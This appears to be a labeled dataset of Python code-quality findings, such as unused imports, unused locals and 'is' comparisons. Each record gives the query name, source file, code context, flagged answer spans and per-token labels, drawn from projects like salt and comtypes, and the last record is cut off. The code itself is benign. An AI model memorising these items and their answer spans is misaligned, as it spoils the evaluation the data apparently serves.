|
Comparison using is when operands support `__eq__` | saltstack/salt/salt/utils/nb_popen.py | [
{
"content": " def __init__(self, *args, **kwargs):\n self.stream_stds = kwargs.pop('stream_stds', False)\n\n # Half a megabyte in memory is more than enough to start writing to\n # a temporary file.\n self.max_size_in_mem = kwargs.pop('max_size_in_mem', 512000)\n\n # Let's configure the std{in, out,err} logging handler names\n #self._stdin_logger_name_ = kwargs.pop(\n # 'stdin_logger_name', self._stdin_logger_name_\n #)\n self._stdout_logger_name_ = kwargs.pop(\n 'stdout_logger_name', self._stdout_logger_name_\n )\n self._stderr_logger_name_ = kwargs.pop(\n 'stderr_logger_name', self._stderr_logger_name_\n )\n\n logging_command = kwargs.pop('logging_command', None)\n stderr = kwargs.get('stderr', None)\n\n super(NonBlockingPopen, self).__init__(*args, **kwargs)\n\n #self._stdin_logger = logging.getLogger(\n # self._stdin_logger_name_.format(pid=self.pid)\n #)\n\n self.stdout_buff = tempfile.SpooledTemporaryFile(self.max_size_in_mem)\n self._stdout_logger = logging.getLogger(\n self._stdout_logger_name_.format(pid=self.pid)\n )\n\n if stderr is subprocess.STDOUT:\n self.stderr_buff = self.stdout_buff\n self._stderr_logger = self._stdout_logger\n else:\n self.stderr_buff = tempfile.SpooledTemporaryFile(\n self.max_size_in_mem\n )\n self._stderr_logger = logging.getLogger(\n self._stderr_logger_name_.format(pid=self.pid)\n )\n\n self._stderr_logger = logging.getLogger(\n self._stderr_logger_name_.format(pid=self.pid)\n )\n\n if logging_command is None:\n log.info(\n 'Running command under pid {0}: {1!r}'.format(\n self.pid,\n *args\n )\n )\n else:\n log.info(\n 'Running command under pid {0}: {1!r}'.format(\n self.pid,\n logging_command\n )\n )",
"metadata": "root.NonBlockingPopen.__init__",
"header": "['class', 'NonBlockingPopen', '(', 'subprocess', '.', 'Popen', ')', ':', '___NEWLINE___', '___NL___', \"#_stdin_logger_name_ = 'salt.utils.nb_popen.STDIN.PID-{pid}'\", '___NL___', '___EOS___']",
"index": 45
}
]
| [
{
"span": "stderr is subprocess.STDOUT:",
"start_line": 77,
"start_column": 11,
"end_line": 77,
"end_column": 38
}
]
| []
| 1 | false | [
"[CLS]_",
"Compari",
"son_",
"using_",
"is_",
"when_",
"operands_",
"support_",
" _",
"`_",
"\\u\\u",
"eq\\u\\u_",
"`_",
"[SEP]_",
"class_",
"Non",
"Block",
"ing",
"Popen_",
"(_",
"subprocess_",
"._",
"Popen_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#\\u",
"std",
"in",
"\\u",
"logg",
"er",
"\\u",
"name",
"\\u",
" ",
"=",
" ",
"'",
"salt",
".",
"util",
"s",
".",
"nb",
"\\u",
"popen",
".",
"STD",
"IN",
".",
"PID",
"-",
"{",
"pid",
"}'_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"def_",
"\\u\\u",
"init\\u\\u_",
"(_",
"self_",
",_",
"*_",
"args_",
",_",
"**_",
"kwargs_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"stream",
"\\u",
"stds",
"_",
"=_",
"kwargs_",
"._",
"pop_",
"(_",
"'",
"stream",
"\\u",
"stds",
"'_",
",_",
"False_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Hal",
"f",
" ",
"a",
" ",
"mega",
"byte",
" ",
"in",
" ",
"memory",
" ",
"is",
" ",
"more",
" ",
"than",
" ",
"eno",
"ugh",
" ",
"to",
" ",
"start",
" ",
"writ",
"ing",
" ",
"to_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"a",
" ",
"temporar",
"y",
" ",
"file",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"max",
"\\u",
"size",
"\\u",
"in",
"\\u",
"mem_",
"=_",
"kwargs_",
"._",
"pop_",
"(_",
"'",
"max",
"\\u",
"size",
"\\u",
"in",
"\\u",
"mem",
"'_",
",_",
"512",
"000_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Let",
"'",
"s",
" ",
"configur",
"e",
" ",
"the",
" ",
"std",
"{",
"in",
",",
" ",
"out",
",",
"err",
"}",
" ",
"logg",
"ing",
" ",
"handler",
" ",
"names_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"self",
".\\u",
"std",
"in",
"\\u",
"logg",
"er",
"\\u",
"name",
"\\u",
" ",
"=",
" ",
"kwarg",
"s",
".",
"pop",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"'",
"std",
"in",
"\\u",
"logg",
"er",
"\\u",
"name",
"',",
" ",
"self",
".\\u",
"std",
"in",
"\\u",
"logg",
"er",
"\\u",
"name\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#)",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"\\u",
"stdout",
"\\u",
"logg",
"er",
"\\u",
"name\\u_",
"=_",
"kwargs_",
"._",
"pop_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"stdout",
"\\u",
"logg",
"er",
"\\u",
"name",
"'_",
",_",
"self_",
"._",
"\\u",
"stdout",
"\\u",
"logg",
"er",
"\\u",
"name\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"\\u",
"std",
"err",
"\\u",
"logg",
"er",
"\\u",
"name\\u_",
"=_",
"kwargs_",
"._",
"pop_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"std",
"err",
"\\u",
"logg",
"er",
"\\u",
"name",
"'_",
",_",
"self_",
"._",
"\\u",
"std",
"err",
"\\u",
"logg",
"er",
"\\u",
"name\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"logg",
"ing",
"\\u",
"command_",
"=_",
"kwargs_",
"._",
"pop_",
"(_",
"'",
"logg",
"ing",
"\\u",
"command",
"'_",
",_",
"None_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"stderr_",
"=_",
"kwargs_",
"._",
"get_",
"(_",
"'",
"std",
"err",
"'_",
",_",
"None_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"super_",
"(_",
"Non",
"Block",
"ing",
"Popen_",
",_",
"self_",
")_",
"._",
"\\u\\u",
"init\\u\\u_",
"(_",
"*_",
"args_",
",_",
"**_",
"kwargs_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"self",
".\\u",
"std",
"in",
"\\u",
"logg",
"er",
" ",
"=",
" ",
"logg",
"ing",
".",
"get",
"Log",
"ger",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"self",
".\\u",
"std",
"in",
"\\u",
"logg",
"er",
"\\u",
"name",
"\\u.",
"format",
"(",
"pid",
"=",
"self",
".",
"pid",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"#)",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"stdout",
"\\u",
"buff_",
"=_",
"tempfile_",
"._",
"Spo",
"ole",
"d",
"Tempora",
"ry",
"File_",
"(_",
"self_",
"._",
"max",
"\\u",
"size",
"\\u",
"in",
"\\u",
"mem_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"\\u",
"stdout",
"\\u",
"logger_",
"=_",
"logging_",
"._",
"get",
"Logger_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"\\u",
"stdout",
"\\u",
"logg",
"er",
"\\u",
"name\\u_",
"._",
"format_",
"(_",
"pid_",
"=_",
"self_",
"._",
"pid_",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"stderr_",
"is_",
"subprocess_",
"._",
"STDOUT_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"std",
"err",
"\\u",
"buff_",
"=_",
"self_",
"._",
"stdout",
"\\u",
"buff_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"\\u",
"std",
"err",
"\\u",
"logger_",
"=_",
"self_",
"._",
"\\u",
"stdout",
"\\u",
"logger_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"std",
"err",
"\\u",
"buff_",
"=_",
"tempfile_",
"._",
"Spo",
"ole",
"d",
"Tempora",
"ry",
"File_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"max",
"\\u",
"size",
"\\u",
"in",
"\\u",
"mem_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"\\u",
"std",
"err",
"\\u",
"logger_",
"=_",
"logging_",
"._",
"get",
"Logger_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"\\u",
"std",
"err",
"\\u",
"logg",
"er",
"\\u",
"name\\u_",
"._",
"format_",
"(_",
"pid_",
"=_",
"self_",
"._",
"pid_",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"self_",
"._",
"\\u",
"std",
"err",
"\\u",
"logger_",
"=_",
"logging_",
"._",
"get",
"Logger_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"\\u",
"std",
"err",
"\\u",
"logg",
"er",
"\\u",
"name\\u_",
"._",
"format_",
"(_",
"pid_",
"=_",
"self_",
"._",
"pid_",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"logg",
"ing",
"\\u",
"command_",
"is_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"log_",
"._",
"info_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"Run",
"ning",
" ",
"command",
" ",
"under",
" ",
"pid",
" ",
"{",
"0",
"}:",
" ",
"{",
"1",
"!",
"r",
"}'_",
"._",
"format_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"pid_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"*_",
"args_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"log_",
"._",
"info_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"Run",
"ning",
" ",
"command",
" ",
"under",
" ",
"pid",
" ",
"{",
"0",
"}:",
" ",
"{",
"1",
"!",
"r",
"}'_",
"._",
"format_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"pid_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"logg",
"ing",
"\\u",
"command_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
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,
2,
2,
2,
2,
2,
0,
1,
1,
1,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused local variable | django-leonardo/django-leonardo/leonardo/module/media/views.py | [
{
"content": "def directory_list(request, directory_slug, category_parent_slug):\n\n if directory_slug:\n directory_slug = uri_to_iri(directory_slug)\n\n if directory_slug is None:\n object = None\n root = getattr(settings, 'MEDIA_GALLERIES_ROOT', None)\n if root:\n obj_root = Folder.objects.get(name=root)\n object_list = Folder.objects.filter(parent=obj_root)\n else:\n object_list = Folder.objects.filter(parent=None)\n else:\n try:\n object = Folder.objects.get(id=directory_slug)\n except:\n object = Folder.objects.get(name=directory_slug)\n object_list = object.files.all()\n\n return render(\n request,\n 'media/directory_list.html',\n {\n 'object_list': object_list,\n }\n )",
"metadata": "root.directory_list",
"header": "['module', '___EOS___']",
"index": 266
}
]
| [
{
"span": "object ",
"start_line": 272,
"start_column": 8,
"end_line": 272,
"end_column": 14
}
]
| []
| 1 | true | [
"[CLS]_",
"Un",
"used_",
"local_",
"variable_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"director",
"y",
"\\u",
"list_",
"(_",
"request_",
",_",
"director",
"y",
"\\u",
"slug_",
",_",
"category",
"\\u",
"parent",
"\\u",
"slug_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"director",
"y",
"\\u",
"slug_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"director",
"y",
"\\u",
"slug_",
"=_",
"uri",
"\\u",
"to",
"\\u",
"iri",
"_",
"(_",
"director",
"y",
"\\u",
"slug_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"director",
"y",
"\\u",
"slug_",
"is_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"object_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"root_",
"=_",
"getattr_",
"(_",
"settings_",
",_",
"'",
"MEDIA",
"\\u",
"GAL",
"LER",
"IES",
"\\u",
"ROO",
"T",
"'_",
",_",
"None_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"root_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"obj",
"\\u",
"root_",
"=_",
"Folder_",
"._",
"objects_",
"._",
"get_",
"(_",
"name_",
"=_",
"root_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"object\\u",
"list_",
"=_",
"Folder_",
"._",
"objects_",
"._",
"filter_",
"(_",
"parent_",
"=_",
"obj",
"\\u",
"root_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"object\\u",
"list_",
"=_",
"Folder_",
"._",
"objects_",
"._",
"filter_",
"(_",
"parent_",
"=_",
"None_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"object_",
"=_",
"Folder_",
"._",
"objects_",
"._",
"get_",
"(_",
"id_",
"=_",
"director",
"y",
"\\u",
"slug_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"object_",
"=_",
"Folder_",
"._",
"objects_",
"._",
"get_",
"(_",
"name_",
"=_",
"director",
"y",
"\\u",
"slug_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"object\\u",
"list_",
"=_",
"object_",
"._",
"files_",
"._",
"all_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\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
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused import | JeremyOT/Toto/templates/toto/chat/chat/receive_message.py | [
{
"content": "import toto\nfrom toto.invocation import *\nfrom tornado.ioloop import IOLoop\n\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
},
{
"content": "@asynchronous\ndef invoke(handler, params):\n def receive_message(message):\n handler.respond(result={'message': message})\n handler.register_event_handler('message', receive_message, deregister_on_finish=True)",
"metadata": "root.invoke",
"header": "['module', '___EOS___']",
"index": 4
}
]
| [
{
"span": "import toto",
"start_line": 0,
"start_column": 0,
"end_line": 0,
"end_column": 11
},
{
"span": "from tornado.ioloop import IOLoop",
"start_line": 2,
"start_column": 0,
"end_line": 2,
"end_column": 33
}
]
| []
| 1 | false | [
"[CLS]_",
"Un",
"used_",
"import_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"import_",
"tot",
"o_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"tot",
"o_",
"._",
"invocation",
"_",
"import_",
"*_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"tornado_",
"._",
"ioloop_",
"import_",
"IO",
"Loop_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"@_",
"async",
"hronous",
"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"def_",
"invoke_",
"(_",
"handler_",
",_",
"params_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"def_",
"receive",
"\\u",
"message_",
"(_",
"message_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"handler_",
"._",
"respond_",
"(_",
"result_",
"=_",
"{_",
"'",
"message",
"'_",
":_",
"message_",
"}_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"handler_",
"._",
"register",
"\\u",
"event",
"\\u",
"handler_",
"(_",
"'",
"message",
"'_",
",_",
"receive",
"\\u",
"message_",
",_",
"dere",
"gister",
"\\u",
"on",
"\\u",
"finish_",
"=_",
"True_",
")_"
]
| [
4,
4,
4,
4,
4,
2,
2,
0,
1,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
1,
1,
1,
1,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused import | enthought/comtypes/comtypes/connectionpoints.py | [
{
"content": "from ctypes import *\nfrom comtypes import IUnknown, COMMETHOD, GUID, HRESULT, dispid\n_GUID = GUID\n\nCONNECTDATA = tagCONNECTDATA\n\n################################################################\n\n\n\n\n\n################################################################\n\nIConnectionPointContainer._methods_ = [\n COMMETHOD([], HRESULT, 'EnumConnectionPoints',\n ( ['out'], POINTER(POINTER(IEnumConnectionPoints)), 'ppEnum' )),\n COMMETHOD([], HRESULT, 'FindConnectionPoint',\n ( ['in'], POINTER(_GUID), 'riid' ),\n ( ['out'], POINTER(POINTER(IConnectionPoint)), 'ppCP' )),\n]\n\nIConnectionPoint._methods_ = [\n COMMETHOD([], HRESULT, 'GetConnectionInterface',\n ( ['out'], POINTER(_GUID), 'pIID' )),\n COMMETHOD([], HRESULT, 'GetConnectionPointContainer',\n ( ['out'], POINTER(POINTER(IConnectionPointContainer)), 'ppCPC' )),\n COMMETHOD([], HRESULT, 'Advise',\n ( ['in'], POINTER(IUnknown), 'pUnkSink' ),\n ( ['out'], POINTER(c_ulong), 'pdwCookie' )),\n COMMETHOD([], HRESULT, 'Unadvise',\n ( ['in'], c_ulong, 'dwCookie' )),\n COMMETHOD([], HRESULT, 'EnumConnections',\n ( ['out'], POINTER(POINTER(IEnumConnections)), 'ppEnum' )),\n]\n\nIEnumConnections._methods_ = [\n COMMETHOD([], HRESULT, 'Next',\n ( ['in'], c_ulong, 'cConnections' ),\n ( ['out'], POINTER(tagCONNECTDATA), 'rgcd' ),\n ( ['out'], POINTER(c_ulong), 'pcFetched' )),\n COMMETHOD([], HRESULT, 'Skip',\n ( ['in'], c_ulong, 'cConnections' )),\n COMMETHOD([], HRESULT, 'Reset'),\n COMMETHOD([], HRESULT, 'Clone',\n ( ['out'], POINTER(POINTER(IEnumConnections)), 'ppEnum' )),\n]\n\nIEnumConnectionPoints._methods_ = [\n COMMETHOD([], HRESULT, 'Next',\n ( ['in'], c_ulong, 'cConnections' ),\n ( ['out'], POINTER(POINTER(IConnectionPoint)), 'ppCP' ),\n ( ['out'], POINTER(c_ulong), 'pcFetched' )),\n COMMETHOD([], HRESULT, 'Skip',\n ( ['in'], c_ulong, 'cConnections' )),\n COMMETHOD([], HRESULT, 'Reset'),\n COMMETHOD([], HRESULT, 'Clone',\n ( ['out'], POINTER(POINTER(IEnumConnectionPoints)), 'ppEnum' )),\n]\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
},
{
"content": "class tagCONNECTDATA(Structure):\n _fields_ = [\n ('pUnk', POINTER(IUnknown)),\n ('dwCookie', c_ulong),\n ]",
"metadata": "root.tagCONNECTDATA",
"header": "['module', '___EOS___']",
"index": 4
},
{
"content": "class IConnectionPointContainer(IUnknown):\n _iid_ = GUID('{B196B284-BAB4-101A-B69C-00AA00341D07}')\n _idlflags_ = []",
"metadata": "root.IConnectionPointContainer",
"header": "['module', '___EOS___']",
"index": 13
},
{
"content": "class IConnectionPoint(IUnknown):\n _iid_ = GUID('{B196B286-BAB4-101A-B69C-00AA00341D07}')\n _idlflags_ = []",
"metadata": "root.IConnectionPoint",
"header": "['module', '___EOS___']",
"index": 17
},
{
"content": "class IEnumConnections(IUnknown):\n _iid_ = GUID('{B196B287-BAB4-101A-B69C-00AA00341D07}')\n _idlflags_ = []\n\n",
"metadata": "root.IEnumConnections",
"header": "['module', '___EOS___']",
"index": 21
},
{
"content": " def __iter__(self):\n return self",
"metadata": "root.IEnumConnections.__iter__",
"header": "['class', 'IEnumConnections', '(', 'IUnknown', ')', ':', '___EOS___']",
"index": 25
},
{
"content": " def next(self):\n cp, fetched = self.Next(1)\n if fetched == 0:\n raise StopIteration\n return cp",
"metadata": "root.IEnumConnections.next",
"header": "['class', 'IEnumConnections', '(', 'IUnknown', ')', ':', '___EOS___']",
"index": 28
},
{
"content": "class IEnumConnectionPoints(IUnknown):\n _iid_ = GUID('{B196B285-BAB4-101A-B69C-00AA00341D07}')\n _idlflags_ = []\n\n",
"metadata": "root.IEnumConnectionPoints",
"header": "['module', '___EOS___']",
"index": 34
},
{
"content": " def __iter__(self):\n return self",
"metadata": "root.IEnumConnectionPoints.__iter__",
"header": "['class', 'IEnumConnectionPoints', '(', 'IUnknown', ')', ':', '___EOS___']",
"index": 38
},
{
"content": " def next(self):\n cp, fetched = self.Next(1)\n if fetched == 0:\n raise StopIteration\n return cp",
"metadata": "root.IEnumConnectionPoints.next",
"header": "['class', 'IEnumConnectionPoints', '(', 'IUnknown', ')', ':', '___EOS___']",
"index": 41
}
]
| [
{
"span": "from comtypes import IUnknown, COMMETHOD, GUID, HRESULT, dispid",
"start_line": 1,
"start_column": 0,
"end_line": 1,
"end_column": 63
}
]
| []
| 1 | false | [
"[CLS]_",
"Un",
"used_",
"import_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"from_",
"ctypes_",
"import_",
"*_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"com",
"types_",
"import_",
"IU",
"nk",
"now",
"n_",
",_",
"COMM",
"ETH",
"OD_",
",_",
"GUID",
"_",
",_",
"HRESULT_",
",_",
"disp",
"id_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u",
"GUID",
"_",
"=_",
"GUID",
"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"CONNECT",
"DATA_",
"=_",
"tag",
"CONNECT",
"DATA_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"###########",
"###########",
"###########",
"###########",
"###########",
"#########",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"###########",
"###########",
"###########",
"###########",
"###########",
"#########",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"IC",
"onnect",
"ion",
"Point",
"Container_",
"._",
"\\u",
"method",
"s\\u_",
"=_",
"[_",
"\\u\\u\\uNL\\u\\u\\u_",
"COMM",
"ETH",
"OD_",
"(_",
"[_",
"]_",
",_",
"HRESULT_",
",_",
"'",
"Enum",
"Connect",
"ion",
"Point",
"s",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"[_",
"'",
"out",
"'_",
"]_",
",_",
"POINTER_",
"(_",
"POINTER_",
"(_",
"IE",
"num",
"Connect",
"ion",
"Points_",
")_",
")_",
",_",
"'",
"pp",
"Enum",
"'_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"COMM",
"ETH",
"OD_",
"(_",
"[_",
"]_",
",_",
"HRESULT_",
",_",
"'",
"Fin",
